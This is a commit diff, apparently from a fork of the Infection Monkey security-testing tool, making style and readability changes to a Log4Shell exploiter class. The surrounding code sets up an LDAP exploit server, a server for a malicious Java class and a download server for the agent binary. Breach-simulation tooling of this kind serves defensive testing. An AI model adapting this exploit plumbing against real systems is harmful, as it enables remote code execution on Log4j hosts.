forked from p34709852/monkey
Agent: log4shell readability and style fixes
This commit is contained in:
parent
52ac7dd295
commit
76a32d241c
|
@ -33,7 +33,7 @@ class Log4ShellExploiter(WebRCE):
|
||||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
_EXPLOITED_SERVICE = "Log4j"
|
_EXPLOITED_SERVICE = "Log4j"
|
||||||
DOWNLOAD_TIMEOUT = 15
|
DOWNLOAD_TIMEOUT = 15
|
||||||
REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds
|
REQUEST_TO_VICTIM_TIME = 5 # Max time agent will wait for the response from victim in SECONDS
|
||||||
|
|
||||||
def __init__(self, host: VictimHost):
|
def __init__(self, host: VictimHost):
|
||||||
super().__init__(host)
|
super().__init__(host)
|
||||||
|
@ -41,7 +41,7 @@ class Log4ShellExploiter(WebRCE):
|
||||||
self._ldap_port = get_free_tcp_port()
|
self._ldap_port = get_free_tcp_port()
|
||||||
|
|
||||||
self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
||||||
self.class_http_server_port = get_free_tcp_port()
|
self._class_http_server_port = get_free_tcp_port()
|
||||||
|
|
||||||
self._ldap_server = None
|
self._ldap_server = None
|
||||||
self._exploit_class_http_server = None
|
self._exploit_class_http_server = None
|
||||||
|
@ -71,21 +71,17 @@ class Log4ShellExploiter(WebRCE):
|
||||||
|
|
||||||
def _start_agent_http_server(self, agent_paths: dict) -> str:
|
def _start_agent_http_server(self, agent_paths: dict) -> str:
|
||||||
# Create server for http download and wait for it's startup.
|
# Create server for http download and wait for it's startup.
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
http_path, http_thread = HTTPTools.try_create_locked_transfer(
|
||||||
self.host, agent_paths["src_path"]
|
self.host, agent_paths["src_path"]
|
||||||
)
|
)
|
||||||
self._agent_http_server_thread = http_thread
|
self._agent_http_server_thread = http_thread
|
||||||
if not http_path:
|
|
||||||
logger.debug("Exploiter failed, couldn't start an http server to serve agent.")
|
|
||||||
raise Exception("Http server creation failed")
|
|
||||||
logger.info("Started http server on %s", http_path)
|
|
||||||
return http_path
|
return http_path
|
||||||
|
|
||||||
def _start_class_http_server(self, command: str):
|
def _start_class_http_server(self, command: str):
|
||||||
java_class = self._build_java_class(command)
|
java_class = self._build_java_class(command)
|
||||||
|
|
||||||
self._exploit_class_http_server = ExploitClassHTTPServer(
|
self._exploit_class_http_server = ExploitClassHTTPServer(
|
||||||
self._class_http_server_ip, self.class_http_server_port, java_class
|
self._class_http_server_ip, self._class_http_server_port, java_class
|
||||||
)
|
)
|
||||||
# Setting `daemon=True` to save ourselves some trouble when this is merged to the
|
# Setting `daemon=True` to save ourselves some trouble when this is merged to the
|
||||||
# agent-refactor branch.
|
# agent-refactor branch.
|
||||||
|
@ -100,7 +96,7 @@ class Log4ShellExploiter(WebRCE):
|
||||||
self._ldap_server = LDAPExploitServer(
|
self._ldap_server = LDAPExploitServer(
|
||||||
ldap_server_port=self._ldap_port,
|
ldap_server_port=self._ldap_port,
|
||||||
http_server_ip=self._class_http_server_ip,
|
http_server_ip=self._class_http_server_ip,
|
||||||
http_server_port=self.class_http_server_port,
|
http_server_port=self._class_http_server_port,
|
||||||
storage_dir=get_monkey_dir_path(),
|
storage_dir=get_monkey_dir_path(),
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue